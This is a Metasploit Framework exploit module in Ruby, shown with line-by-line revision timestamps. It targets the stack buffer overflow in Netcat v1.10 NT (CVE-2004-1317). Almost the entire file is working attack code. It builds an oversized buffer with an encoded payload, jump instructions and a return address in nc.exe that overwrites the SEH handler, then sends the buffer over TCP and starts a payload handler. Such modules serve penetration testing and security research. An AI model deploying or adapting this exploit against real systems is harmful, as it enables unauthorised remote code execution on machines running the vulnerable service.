2007-09-26 13:44:25 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-09-26 13:44:25 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2007-09-26 13:44:25 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2007-09-26 13:44:25 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'Netcat v1.10 NT Stack Buffer Overflow',
|
2007-09-26 13:44:25 +00:00
|
|
|
'Description' => %q{
|
2010-06-22 23:57:05 +00:00
|
|
|
This module exploits a stack buffer overflow in Netcat v1.10 NT. By sending
|
|
|
|
an overly long string we are able to overwrite SEH. The vulnerability
|
|
|
|
exists when netcat is used to bind (-e) an executable to a port in doexec.c.
|
|
|
|
This module tested successfully using "c:\>nc -L -p 31337 -e ftp".
|
|
|
|
},
|
|
|
|
'Author' => 'patrick',
|
2007-09-26 13:44:25 +00:00
|
|
|
'Arch' => [ ARCH_X86 ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
2010-06-22 23:57:05 +00:00
|
|
|
[
|
|
|
|
[ 'CVE', '2004-1317' ],
|
|
|
|
[ 'OSVDB', '12612' ],
|
|
|
|
[ 'BID', '12106' ],
|
|
|
|
[ 'URL', 'http://www.milw0rm.com/exploits/726' ],
|
|
|
|
],
|
2007-09-26 13:44:25 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
2010-06-22 23:57:05 +00:00
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
2007-09-26 13:44:25 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 236,
|
|
|
|
'BadChars' => "\x00\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => ['win'],
|
|
|
|
'Targets' =>
|
2010-06-22 23:57:05 +00:00
|
|
|
[
|
|
|
|
# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.
|
|
|
|
[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe
|
|
|
|
],
|
2007-09-26 13:44:25 +00:00
|
|
|
'DisclosureDate' => 'Dec 27 2004',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
sploit = rand_text(277, payload_badchars)
|
|
|
|
sploit[0, payload.encoded.length] = payload.encoded
|
|
|
|
sploit[236, 2] = Rex::Arch::X86.jmp_short(6)
|
|
|
|
sploit[240, 4] = [target['Ret']].pack('V')
|
|
|
|
sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)
|
|
|
|
|
|
|
|
sock.put(sploit)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|